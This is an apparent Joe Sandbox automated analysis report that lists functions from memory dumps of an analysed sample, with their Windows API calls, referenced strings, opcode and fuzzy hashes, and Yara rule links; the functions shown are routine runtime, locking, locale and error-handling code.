std::_Lockit::~_Lockit.LIBCPMT ref: 6A55FB07

Strings

false, xrefs: 6A55F8FF
true, xrefs: 6A55F915

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID: Lockitstd::_$Concurrency::cancel_current_taskLockit::_Lockit::~_
String ID: false$true
API String ID: 2115809835-2658103896
Opcode ID: a17845280372b69f7abaa96e9ac248881fb8c10bce0e8eb435dfc6fa1c3ec37c
Instruction ID: 95fad1c201d16dc599cc04004ea0017039b3141f49453a64d93d50bf10b8f5b1
Opcode Fuzzy Hash: a17845280372b69f7abaa96e9ac248881fb8c10bce0e8eb435dfc6fa1c3ec37c
Instruction Fuzzy Hash: EA91D2B1D003489BDB10CFA4C944B9EBBF8FF45304F15426AE845AB242FB75AA48CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6A560910 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 243COMMON

Download Yara Rule

APIs

Part of subcall function 6A547E10: GetProcessHeap.KERNEL32 ref: 6A547E6C

_wcschr.LIBVCRUNTIME ref: 6A5609D9

Strings

%%%X, xrefs: 6A560A1F
@$+,/:;=?&%<>{}[]()#^!*', xrefs: 6A560B79, 6A560B89

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID: HeapProcess_wcschr
String ID: @$+,/:;=?&%<>{}[]()#^!*'$%%%X
API String ID: 1401547090-362521357
Opcode ID: efbcc39f923711581cba3ce55ed97a96254597d9b818bc6d0995e1cd306056ad
Instruction ID: fa67c8f9afa525d0807863947849553088cb338454c9bff5c2ce30e0e18fbaee
Opcode Fuzzy Hash: efbcc39f923711581cba3ce55ed97a96254597d9b818bc6d0995e1cd306056ad
Instruction Fuzzy Hash: B3916B71A016199FDB00DFA8C858B9EFBF5FF49314F11865AE915AB3A1DB34AD00CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00201370 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 159COMMON

Download Yara Rule

APIs

Part of subcall function 00349842: EnterCriticalSection.KERNEL32(00459EA0,-00000010,?,?,001B9EC6,0045AAD4,DF534560,?,?,0037191D,000000FF,?,001BCB1F,DF534560,-00000010,?), ref: 0034984D
Part of subcall function 00349842: LeaveCriticalSection.KERNEL32(00459EA0,?,001B9EC6,0045AAD4,DF534560,?,?,0037191D,000000FF,?,001BCB1F,DF534560,-00000010,?,?,00000008), ref: 0034988A

__Init_thread_footer.LIBCMT ref: 002014CD

Part of subcall function 003497F8: EnterCriticalSection.KERNEL32(00459EA0,?,?,001B9F37,0045AAD4,003CA720), ref: 00349802
Part of subcall function 003497F8: LeaveCriticalSection.KERNEL32(00459EA0,?,001B9F37,0045AAD4,003CA720), ref: 00349835
Part of subcall function 003497F8: RtlWakeAllConditionVariable.NTDLL ref: 003498AC

Strings

Windows.UI.Xaml.Controls.ListViewItem, xrefs: 00201496
ItemData, xrefs: 00201532

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
String ID: ItemData$Windows.UI.Xaml.Controls.ListViewItem
API String ID: 2296764815-2445763458
Opcode ID: 8ddec24a593b3dc9ee6b996d8e54da67e9c3907ef3c1e4ddd7a87c4e51115e0c
Instruction ID: b7c1d019f0ed7d59f993ee38e219b9cdae1b33517aa142f7ad4d93782bb7edb3
Opcode Fuzzy Hash: 8ddec24a593b3dc9ee6b996d8e54da67e9c3907ef3c1e4ddd7a87c4e51115e0c
Instruction Fuzzy Hash: F871B070910389DFDB11CFA8C9057DEBBB0BF15314F144269E4156B3D2D7B95A18CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6A558750 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 156COMMON

Download Yara Rule

APIs

PathIsUNCW.SHLWAPI(00000000,AA831995), ref: 6A5587F1

Strings

\\?\UNC\, xrefs: 6A558816, 6A558877
\\?\, xrefs: 6A5588E4, 6A55890F

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID: Path
String ID: \\?\$\\?\UNC\
API String ID: 2875597873-3019864461
Opcode ID: e633c9ffe1c1e437bee0eaa836ec6b8d072662d780c4973ccb7aa5617dbd7382
Instruction ID: 1554ae7522b448c2f747b5b2b93097cc53592be2322841bf6f17e9a816be21ed
Opcode Fuzzy Hash: e633c9ffe1c1e437bee0eaa836ec6b8d072662d780c4973ccb7aa5617dbd7382
Instruction Fuzzy Hash: 4051D3B0D10204ABDB14CF68D885BAEB7F5FF85304F11851ED90267282EF75AD58CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0036AB6B Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 003616FD: RtlFreeHeap.NTDLL(00000000,00000000,?,0036A60F,?,00000000,?,?,0036A8B0,?,00000007,?,?,0036AD02,?,?), ref: 00361713
Part of subcall function 003616FD: GetLastError.KERNEL32(?,?,0036A60F,?,00000000,?,?,0036A8B0,?,00000007,?,?,0036AD02,?,?), ref: 0036171E

___free_lconv_mon.LIBCMT ref: 0036ABAF

Strings

X2E, xrefs: 0036AC57
p0E, xrefs: 0036AB81

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: ErrorFreeHeapLast___free_lconv_mon
String ID: X2E$p0E
API String ID: 4068849827-4138130148
Opcode ID: 3afa070246ae35d29a270db83cf3b759881b0a338fd993c2963f833e7547a98e
Instruction ID: ccba726687da77da7a71663cebb5bce0630fde6b89f4b5527f945792d9f295b5
Opcode Fuzzy Hash: 3afa070246ae35d29a270db83cf3b759881b0a338fd993c2963f833e7547a98e
Instruction Fuzzy Hash: 71318D71604B059FEB23AA39D845B5A73EAAF00351F19C41AE459EB199DF70FC80CF15

Uniqueness

Uniqueness Score: -1.00%

Function 6A563150 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 109COMMON

Download Yara Rule

APIs

#7.OLEAUT32(?,?,AA831995), ref: 6A5631BA

Strings

Win32 COM Error [, xrefs: 6A5631F4
]: { , xrefs: 6A563205

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID:
String ID: Win32 COM Error [$]: {
API String ID: 0-2764242999
Opcode ID: bbafeada3904f471b38281ec781101f1d4918ba72d4876bc9923c4b7d6ee5e78
Instruction ID: ba3489dc1a0dcaf6f326e4778aefdeb0dbe2fb434e50c8577864fa0ba48f267c
Opcode Fuzzy Hash: bbafeada3904f471b38281ec781101f1d4918ba72d4876bc9923c4b7d6ee5e78
Instruction Fuzzy Hash: 30419270905148DEDB16CBA8C958BDEFBB4EF91314F2181ADD016A7292DF346F08CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0020B370 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0020B399

Part of subcall function 00219940: EnterCriticalSection.KERNEL32(DF534560,DF534560), ref: 00219980
Part of subcall function 00219940: GetCurrentThreadId.KERNEL32 ref: 00219993
Part of subcall function 00219940: LeaveCriticalSection.KERNEL32(?), ref: 00219A11

Part of subcall function 00213A40: SetLastError.KERNEL32(0000000E,?,0020C10B,?,?,?,?), ref: 00213A58

GetLastError.KERNEL32(?,?, >,00000000), ref: 0020B433

Strings

>, xrefs: 0020B415

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: CriticalCurrentErrorLastSectionThread$EnterLeave
String ID: >
API String ID: 1921999304-4236405459
Opcode ID: 934db1947644249493c55fded5d40479f2453ebeb9684eefca51152e98e5ace3
Instruction ID: e1139c729cdf9e24686a3a8503305b37de57325952bfffdfe15370fcf8bc8f27
Opcode Fuzzy Hash: 934db1947644249493c55fded5d40479f2453ebeb9684eefca51152e98e5ace3
Instruction Fuzzy Hash: 1D31E170D20308EBDB11EFA0C81ABEEBBB4EF10304F004629F401672D2DBB55A54CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6A5670D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95windowCOMMON

Download Yara Rule

APIs

FormatMessageW.KERNEL32(000013FF,00000000,?,00000000,00000000,00000000,00000000,AA831995,?,?), ref: 6A567128
LocalFree.KERNEL32(00000000,00000000,-00000002,?,?), ref: 6A567213

Part of subcall function 6A55D040: std::locale::_Init.LIBCPMT ref: 6A55D138
Part of subcall function 6A55D040: std::locale::_Init.LIBCPMT ref: 6A55D1AC

Part of subcall function 6A55C4E0: std::ios_base::_Ios_base_dtor.LIBCPMT ref: 6A55C5B5

Strings

Failed to get Windows error message [win32 error 0x, xrefs: 6A567146

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID: Initstd::locale::_$FormatFreeIos_base_dtorLocalMessagestd::ios_base::_
String ID: Failed to get Windows error message [win32 error 0x
API String ID: 63520260-3373098694
Opcode ID: d4b30c73501b71cbbc4805ab4ca5f29ef716df92842c1a01fd75a3c2975007ee
Instruction ID: c72938b5eb1b9e7889fb481cb27b4f4b807ffbd7a29a00c45f368337fcf5cbf1
Opcode Fuzzy Hash: d4b30c73501b71cbbc4805ab4ca5f29ef716df92842c1a01fd75a3c2975007ee
Instruction Fuzzy Hash: 78419E70A003089BDB20CF68CC19BAFBBF9FF45708F11455AE515EB691DBB4AA04CB91

Uniqueness

Uniqueness Score: -1.00%

Function 003053E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 79COMMON

Download Yara Rule

APIs

OpenEventW.KERNEL32(00000000,00000000,00000001,_pbl_evt,00000008,?,?,003EE9CC,00000001,DF534560,00000000), ref: 0030548E
CreateEventW.KERNEL32(00000000,00000001,00000001,?), ref: 003054AB

Strings

_pbl_evt, xrefs: 00305462

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: Event$CreateOpen
String ID: _pbl_evt
API String ID: 2335040897-4023232351
Opcode ID: d4482439237158f0f21129b849f926d1aade59165b255e94c3b6ac92a444d728
Instruction ID: 02420760094b67403f8c8cad05dd93a1739895da7f242f72c72e09aeaf2a085b
Opcode Fuzzy Hash: d4482439237158f0f21129b849f926d1aade59165b255e94c3b6ac92a444d728
Instruction Fuzzy Hash: EF313831D04208EFDB11DFA8C955BEEB7B8EF19714F508219E911BB2C0DB746A09CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 6A55B100 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6A55B12B
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 6A55B18E

Strings

bad locale name, xrefs: 6A55B1B1

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID: std::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 3988782225-1405518554
Opcode ID: 0c164811092b51becf308b456213e9d03959397871d4bad470927e7f48bd8b35
Instruction ID: d599ab66b8bf492b75e9f03889e071e07d2c2e9740e43045ad9da32b754767da
Opcode Fuzzy Hash: 0c164811092b51becf308b456213e9d03959397871d4bad470927e7f48bd8b35
Instruction Fuzzy Hash: 3A21B470809B84EED721CFA8C90874BBFF4EF15314F14869ED49597B82D7B5AA04CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6A549390 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

#74.MSI(?,ProductVersion,6A5AD308,?), ref: 6A5493C7
#74.MSI(?,ProductVersion,00000000,?), ref: 6A54940C

Strings

ProductVersion, xrefs: 6A5493C5, 6A54940A

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID:
String ID: ProductVersion
API String ID: 0-646591648
Opcode ID: 72ffce5384df3fc9daed524f276a4f08df71238e7f21a59177b7dcd2f4cc3651
Instruction ID: e4df54e981f8e3ed836f7bd45abfc23a4d30c5f451bc6e6d75ef9820fbd44e21
Opcode Fuzzy Hash: 72ffce5384df3fc9daed524f276a4f08df71238e7f21a59177b7dcd2f4cc3651
Instruction Fuzzy Hash: 790171F2204346AFE704CF54E909BABBBDCEB85251F11492AF506C2280D7B5AC1486A2

Uniqueness

Uniqueness Score: -1.00%

Function 6A565F70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31networkCOMMON

Download Yara Rule

APIs

HttpSendRequestExW.WININET ref: 6A565FBB
GetLastError.KERNEL32 ref: 6A565FC5

Strings

(, xrefs: 6A565FB3

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID: ErrorHttpLastRequestSend
String ID: (
API String ID: 4088757929-3887548279
Opcode ID: e418c898092186bfeb9cbea0432ac0db88f45d58f47a03fd194516332c3ccaa7
Instruction ID: 5b24fb4bf6e77572b01164c0f8778d07ddfe7d1fc0ed38d79d16a756b81ca5bc
Opcode Fuzzy Hash: e418c898092186bfeb9cbea0432ac0db88f45d58f47a03fd194516332c3ccaa7
Instruction Fuzzy Hash: 33F0A9B2A053088BC340CF61C90471ABBE4BF9E308F20671EF9449A180EB71C990CBD6

Uniqueness

Uniqueness Score: -1.00%

Function 00348B70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 001C8020: InitializeCriticalSectionAndSpinCount.KERNEL32(00459E24,00000000,DF534560,001B0000,Function_001C1390,000000FF,?,00348B9F,?,?,?,001B6508), ref: 001C8045
Part of subcall function 001C8020: GetLastError.KERNEL32(?,00348B9F,?,?,?,001B6508), ref: 001C804F

IsDebuggerPresent.KERNEL32(?,?,?,001B6508), ref: 00348BA3
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,001B6508), ref: 00348BB2

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00348BAD

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: CountCriticalDebugDebuggerErrorInitializeLastOutputPresentSectionSpinString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 450123788-631824599
Opcode ID: d7fcda89022ddb096e44bc44619cf61aae68caff9ede0a4e06abb0ab9a2e2514
Instruction ID: 49bd36fc9c2a1cf423c3a91796ff2d4726d6ed599a7d1eed7a80fb72b45c8660
Opcode Fuzzy Hash: d7fcda89022ddb096e44bc44619cf61aae68caff9ede0a4e06abb0ab9a2e2514
Instruction Fuzzy Hash: BAE06DB06003508FE722AF39E404B46BBE4AB18340F00896DE885CAA41EBB0F4048B91

Uniqueness

Uniqueness Score: -1.00%

Function 003461E9 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 003461FB

Part of subcall function 0034680C: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0034687F
Part of subcall function 0034680C: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00346890

Strings

,b4, xrefs: 003461F5
a4, xrefs: 003461E9

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: ,b4$a4
API String ID: 1269201914-2941438316
Opcode ID: 2a3e46fa597a28e2fa9ca8b9ad94a7f212ee6ebdbc48424d12158b907865b533
Instruction ID: bd227e39ab619e64b7f17b847f8892ff8e96a60ab9a9c6d2110f0a42a2aebf68
Opcode Fuzzy Hash: 2a3e46fa597a28e2fa9ca8b9ad94a7f212ee6ebdbc48424d12158b907865b533
Instruction Fuzzy Hash: E8B012E52D9602BD71091B057C03C37034CE4C1B11330883BF400CC04399542C044037

Uniqueness

Uniqueness Score: -1.00%

Function 00346473 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00346414

Part of subcall function 0034680C: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0034687F
Part of subcall function 0034680C: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00346890

Strings

sd4, xrefs: 00346473
}d4, xrefs: 0034640E

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: sd4$}d4
API String ID: 1269201914-3564429246
Opcode ID: 0c5db3c1714e7c4030c8167c47bd6a4a2960ea4ec52a0fe398b95cad21395034
Instruction ID: c092c9f1288c21e8aea6884830c9bcbcfc344bc862721a3dcae75b17e331e6bb
Opcode Fuzzy Hash: 0c5db3c1714e7c4030c8167c47bd6a4a2960ea4ec52a0fe398b95cad21395034
Instruction Fuzzy Hash: 45B012D526A501FD35466A0A2C03D37038CCCC2B21330C43BB800CC141D4566C050037

Uniqueness

Uniqueness Score: -1.00%

Function 00346441 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00346414

Part of subcall function 0034680C: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0034687F
Part of subcall function 0034680C: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00346890

Strings

}d4, xrefs: 0034640E
Ad4, xrefs: 00346441

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: Ad4$}d4
API String ID: 1269201914-3951586245
Opcode ID: 2629fcacb0ad6e28a782862ad7292398832407f8270e37385cdb9ac57db411dc
Instruction ID: 940bf711f986dbb8ab580ad590d97a7e1b72f97ee95055294fa2b1b72b3da1d8
Opcode Fuzzy Hash: 2629fcacb0ad6e28a782862ad7292398832407f8270e37385cdb9ac57db411dc
Instruction Fuzzy Hash: E7B012D526A501FC75066E0A2C03D37038CD4C2B11330843BB400DC181D5556C094037

Uniqueness

Uniqueness Score: -1.00%

Function 001BEC50 Relevance: 5.2, APIs: 4, Instructions: 209memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,00000000,00000000,?), ref: 001BEE1F
HeapFree.KERNEL32(00000000,?,00000000,00000000,?), ref: 001BEE25
GetProcessHeap.KERNEL32(?,00000000,?,00000000,00000000,00000000,DF534560,-00000010,?,?), ref: 001BEE55
HeapFree.KERNEL32(00000000,?,00000000,?,00000000,00000000,00000000,DF534560,-00000010,?,?), ref: 001BEE5B

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
